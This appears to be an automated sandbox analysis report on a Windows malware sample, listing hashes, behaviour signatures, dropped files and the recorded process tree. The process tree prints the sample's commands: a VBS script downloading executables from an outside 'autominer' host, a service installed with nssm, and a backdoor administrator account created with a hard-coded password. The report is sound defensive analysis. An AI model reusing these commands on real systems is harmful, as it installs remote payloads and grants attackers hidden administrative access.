Analysis

  • max time kernel
    115s
  • max time network
    110s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    24-11-2020 02:32

General

  • Target

    197f0e170fac2b8c5f1b79d1865ce25f95f4b1a45408b091b5741710a3d9e32a.exe

  • Size

    5.3MB

  • MD5

    6314c3ecbae10e28e206833b129fe3eb

  • SHA1

    a06bcacec00cd8547b51235d4d16439427f3adf0

  • SHA256

    197f0e170fac2b8c5f1b79d1865ce25f95f4b1a45408b091b5741710a3d9e32a

  • SHA512

    68a61b1ef9ce13edb0986ede5d1f6355b27ca3d59768fc83b66c78e8d4e6248b222f12e178389f544df853616078122d1af96aaaadd34001b10189c246cad918

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 11 IoCs
  • Delays execution with timeout.exe 2 IoCs
  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\197f0e170fac2b8c5f1b79d1865ce25f95f4b1a45408b091b5741710a3d9e32a.exe
    "C:\Users\Admin\AppData\Local\Temp\197f0e170fac2b8c5f1b79d1865ce25f95f4b1a45408b091b5741710a3d9e32a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:500
    • C:\Users\Admin\AppData\Local\Temp\197f0e170fac2b8c5f1b79d1865ce25f95f4b1a45408b091b5741710a3d9e32a.exe
      "C:\Users\Admin\AppData\Local\Temp\197f0e170fac2b8c5f1b79d1865ce25f95f4b1a45408b091b5741710a3d9e32a.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3300
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c mkdir C:\Windows\System32\TemppV2
        3⤵
          PID:1420
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c Deploy.vbs http://fin-vz2.gullo.me:13610/autominer/USR.exe C:\Windows\System32\TemppV2\UserUpdater.exe
          3⤵
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:1440
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Deploy.vbs" http://fin-vz2.gullo.me:13610/autominer/USR.exe C:\Windows\System32\TemppV2\UserUpdater.exe
            4⤵
            • Blacklisted process makes network request
            • Drops file in System32 directory
            PID:2740
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c Deploy.vbs http://fin-vz2.gullo.me:13610/autominer/nssm.exe C:\Windows\System32\TemppV2\nssm.exe
          3⤵
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:3964
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Deploy.vbs" http://fin-vz2.gullo.me:13610/autominer/nssm.exe C:\Windows\System32\TemppV2\nssm.exe
            4⤵
            • Blacklisted process makes network request
            • Drops file in System32 directory
            PID:2384
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c nssm install USRUpdate UserUpdater.exe
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Windows\System32\TemppV2\nssm.exe
            nssm install USRUpdate UserUpdater.exe
            4⤵
            • Executes dropped EXE
            • Modifies service
            PID:3396
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c nssm start USRUpdate
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2156
          • C:\Windows\System32\TemppV2\nssm.exe
            nssm start USRUpdate
            4⤵
            • Executes dropped EXE
            PID:1428
    • C:\Windows\System32\TemppV2\nssm.exe
      C:\Windows\System32\TemppV2\nssm.exe
      1⤵
      • Executes dropped EXE
      • Modifies service
      • Suspicious use of WriteProcessMemory
      PID:3648
      • C:\Windows\System32\TemppV2\UserUpdater.exe
        "UserUpdater.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2328
        • C:\Windows\system32\net.exe
          "C:\Windows\system32\net.exe" user MSSQL Mr@1X3#AL /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2160
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user MSSQL Mr@1X3#AL /add
            4⤵
              PID:2444
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" user MSSQL Mr@1X3#AL
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3984
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user MSSQL Mr@1X3#AL
              4⤵
                PID:3748
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" user MSSQL /active:yes
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:424
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user MSSQL /active:yes
                4⤵
                  PID:2772
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators MSSQL /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1220
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators MSSQL /add
                  4⤵
                    PID:2128
                • C:\Windows\system32\timeout.exe
                  "C:\Windows\system32\timeout.exe" 100
                  3⤵
                  • Delays execution with timeout.exe
                  PID:1268
                • C:\Windows\system32\net.exe
                  "C:\Windows\system32\net.exe" user MSSQL Mr@1X3#AL /add
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1292
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 user MSSQL Mr@1X3#AL /add
                    4⤵
                      PID:3168
                  • C:\Windows\system32\net.exe
                    "C:\Windows\system32\net.exe" user MSSQL Mr@1X3#AL
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3636
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 user MSSQL Mr@1X3#AL
                      4⤵
                        PID:1868
                    • C:\Windows\system32\net.exe
                      "C:\Windows\system32\net.exe" user MSSQL /active:yes
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2036
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user MSSQL /active:yes
                        4⤵
                          PID:3916
                      • C:\Windows\system32\net.exe
                        "C:\Windows\system32\net.exe" localgroup Administrators MSSQL /add
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2740
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 localgroup Administrators MSSQL /add
                          4⤵
                            PID:2080
                        • C:\Windows\system32\timeout.exe
                          "C:\Windows\system32\timeout.exe" 100
                          3⤵
                          • Delays execution with timeout.exe
                          PID:2752

                    Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    • C:\Users\Admin\AppData\Local\Temp\Deploy.vbs

                      MD5

                      12c0d8685f9c3ffd53a417dbab7b6e9a

                      SHA1

                      9b4b27f34a47c183aeb0e099514f2525f7a71042

                      SHA256

                      04cb8adeb2d574e4e8d843c1c69f91e0356a012f9c7f6d2631728521b5d7c47a

                      SHA512

                      91fa0568e22e2443949b29593c4ebf3759d186521a7b23dc508ca67bb67d6e65da3157f4ea6f673cc59b6f3743a33792f679223e7717a02dc28dba69e19e280f

                    • C:\Users\Admin\AppData\Local\Temp\_MEI5002\VCRUNTIME140.dll

                      MD5

                      0e675d4a7a5b7ccd69013386793f68eb

                      SHA1

                      6e5821ddd8fea6681bda4448816f39984a33596b

                      SHA256

                      bf5ff4603557c9959acec995653d052d9054ad4826df967974efd2f377c723d1

                      SHA512

                      cae69a90f92936febde67dacd6ce77647cb3b3ed82bb66463cd9047e90723f633aa2fc365489de09fecdc510be15808c183b12e6236b0893af19633f6a670e66

                    • C:\Users\Admin\AppData\Local\Temp\_MEI5002\base_library.zip

                      MD5

                      5786e02569e9e9c81f5e2e9307974d0a

                      SHA1

                      0df8fa2a794ffdf0cb4e964f800020d1db242ae2

                      SHA256

                      3b60b144bcbce646b0819a7daa5b6e6b2d8566006f0c59c377825d4cfb990f71

                      SHA512

                      6badedd0b3a7f89d2aa438bd896a23b03bd1567022ec6adced41dc74a7a70072076922fe73a8116e668b462dc1116be09516c9b8cb6f462f9422aafe135471fc

                    • C:\Users\Admin\AppData\Local\Temp\_MEI5002\python37.dll

                      MD5

                      f8f12175880677bd010def8ba14208da

                      SHA1

                      889e23b96d78135dc3294c84ab900b91fa9f7a0c

                      SHA256

                      08686f0e6e3c54d455d4a4801d5deccadedbafd1e010b3d18ade81180853db27

                      SHA512

                      7792f4a2005c2721b3fa848e2703bfb380670d6bd108599c5a98299f09197b44fb44adbb59da9c55bf064bb3c083a07fd82acdf29b7a09da07981c964eb11304

                    • C:\Windows\System32\TemppV2\UserUpdater.exe

                      MD5

                      7dc864e663bbbfcdd9a0d55c60284093

                      SHA1

                      ec3df6f826d83a558c30956193169862b8520a99

                      SHA256

                      bac08931a212c4781c5eb3f59a8eb3320f19bbe10f2064fd97f6730399d5a25f

                      SHA512

                      7274f8bd6a518e35b26c404823b9b7f742ac5dd0224f1617a2e785beef6b6a160cb88f50603803ffeaa530fdfca8c22038bb59871cc91f0f14b32f7b10f686cd

                    • C:\Windows\System32\TemppV2\UserUpdater.exe

                      MD5

                      7dc864e663bbbfcdd9a0d55c60284093

                      SHA1

                      ec3df6f826d83a558c30956193169862b8520a99

                      SHA256

                      bac08931a212c4781c5eb3f59a8eb3320f19bbe10f2064fd97f6730399d5a25f

                      SHA512

                      7274f8bd6a518e35b26c404823b9b7f742ac5dd0224f1617a2e785beef6b6a160cb88f50603803ffeaa530fdfca8c22038bb59871cc91f0f14b32f7b10f686cd

                    • C:\Windows\System32\TemppV2\nssm.exe

                      MD5

                      beceae2fdc4f7729a93e94ac2ccd78cc

                      SHA1

                      47c112c23c7bdf2af24a20bd512f91ff6af76bc6

                      SHA256

                      f689ee9af94b00e9e3f0bb072b34caaf207f32dcb4f5782fc9ca351df9a06c97

                      SHA512

                      073f5ae0d4ffedb5edb3b92b8e19bea2c482a3ad7ab02ed71955d3e55aa44a297307fe4334d28c6f7683cb02d40b4313e560c9049507b16a8c5d6ee0a0f0071f

                    • C:\Windows\System32\TemppV2\nssm.exe

                      MD5

                      beceae2fdc4f7729a93e94ac2ccd78cc

                      SHA1

                      47c112c23c7bdf2af24a20bd512f91ff6af76bc6

                      SHA256

                      f689ee9af94b00e9e3f0bb072b34caaf207f32dcb4f5782fc9ca351df9a06c97

                      SHA512

                      073f5ae0d4ffedb5edb3b92b8e19bea2c482a3ad7ab02ed71955d3e55aa44a297307fe4334d28c6f7683cb02d40b4313e560c9049507b16a8c5d6ee0a0f0071f

                    • C:\Windows\System32\TemppV2\nssm.exe

                      MD5

                      beceae2fdc4f7729a93e94ac2ccd78cc

                      SHA1

                      47c112c23c7bdf2af24a20bd512f91ff6af76bc6

                      SHA256

                      f689ee9af94b00e9e3f0bb072b34caaf207f32dcb4f5782fc9ca351df9a06c97

                      SHA512

                      073f5ae0d4ffedb5edb3b92b8e19bea2c482a3ad7ab02ed71955d3e55aa44a297307fe4334d28c6f7683cb02d40b4313e560c9049507b16a8c5d6ee0a0f0071f

                    • C:\Windows\System32\TemppV2\nssm.exe

                      MD5

                      beceae2fdc4f7729a93e94ac2ccd78cc

                      SHA1

                      47c112c23c7bdf2af24a20bd512f91ff6af76bc6

                      SHA256

                      f689ee9af94b00e9e3f0bb072b34caaf207f32dcb4f5782fc9ca351df9a06c97

                      SHA512

                      073f5ae0d4ffedb5edb3b92b8e19bea2c482a3ad7ab02ed71955d3e55aa44a297307fe4334d28c6f7683cb02d40b4313e560c9049507b16a8c5d6ee0a0f0071f

                    • \??\PIPE\lsarpc

                      MD5

                      d41d8cd98f00b204e9800998ecf8427e

                      SHA1

                      da39a3ee5e6b4b0d3255bfef95601890afd80709

                      SHA256

                      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                      SHA512

                      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                    • \Users\Admin\AppData\Local\Temp\_MEI5002\VCRUNTIME140.dll

                      MD5

                      0e675d4a7a5b7ccd69013386793f68eb

                      SHA1

                      6e5821ddd8fea6681bda4448816f39984a33596b

                      SHA256

                      bf5ff4603557c9959acec995653d052d9054ad4826df967974efd2f377c723d1

                      SHA512

                      cae69a90f92936febde67dacd6ce77647cb3b3ed82bb66463cd9047e90723f633aa2fc365489de09fecdc510be15808c183b12e6236b0893af19633f6a670e66

                    • \Users\Admin\AppData\Local\Temp\_MEI5002\python37.dll

                      MD5

                      f8f12175880677bd010def8ba14208da

                      SHA1

                      889e23b96d78135dc3294c84ab900b91fa9f7a0c

                      SHA256

                      08686f0e6e3c54d455d4a4801d5deccadedbafd1e010b3d18ade81180853db27

                      SHA512

                      7792f4a2005c2721b3fa848e2703bfb380670d6bd108599c5a98299f09197b44fb44adbb59da9c55bf064bb3c083a07fd82acdf29b7a09da07981c964eb11304

                    • memory/424-40-0x0000000000000000-mapping.dmp

                    • memory/1220-43-0x0000000000000000-mapping.dmp

                    • memory/1268-45-0x0000000000000000-mapping.dmp

                    • memory/1292-46-0x0000000000000000-mapping.dmp

                    • memory/1420-6-0x0000000000000000-mapping.dmp

                    • memory/1428-21-0x0000000000000000-mapping.dmp

                    • memory/1440-7-0x0000000000000000-mapping.dmp

                    • memory/1868-49-0x0000000000000000-mapping.dmp

                    • memory/1876-16-0x0000000000000000-mapping.dmp

                    • memory/2036-50-0x0000000000000000-mapping.dmp

                    • memory/2080-53-0x0000000000000000-mapping.dmp

                    • memory/2128-44-0x0000000000000000-mapping.dmp

                    • memory/2156-20-0x0000000000000000-mapping.dmp

                    • memory/2160-36-0x0000000000000000-mapping.dmp

                    • memory/2328-27-0x00007FFAB5710000-0x00007FFAB60FC000-memory.dmp

                      Filesize

                      9.9MB

                    • memory/2328-35-0x000000001C550000-0x000000001C551000-memory.dmp

                      Filesize

                      4KB

                    • memory/2328-34-0x000000001C080000-0x000000001C081000-memory.dmp

                      Filesize

                      4KB

                    • memory/2328-28-0x0000000000930000-0x0000000000931000-memory.dmp

                      Filesize

                      4KB

                    • memory/2328-24-0x0000000000000000-mapping.dmp

                    • memory/2384-15-0x0000000000000000-mapping.dmp

                    • memory/2444-37-0x0000000000000000-mapping.dmp

                    • memory/2740-9-0x0000000000000000-mapping.dmp

                    • memory/2740-52-0x0000000000000000-mapping.dmp

                    • memory/2752-54-0x0000000000000000-mapping.dmp

                    • memory/2772-41-0x0000000000000000-mapping.dmp

                    • memory/3168-47-0x0000000000000000-mapping.dmp

                    • memory/3300-0-0x0000000000000000-mapping.dmp

                    • memory/3396-17-0x0000000000000000-mapping.dmp

                    • memory/3636-48-0x0000000000000000-mapping.dmp

                    • memory/3748-39-0x0000000000000000-mapping.dmp

                    • memory/3916-51-0x0000000000000000-mapping.dmp

                    • memory/3964-14-0x0000000000000000-mapping.dmp

                    • memory/3984-38-0x0000000000000000-mapping.dmp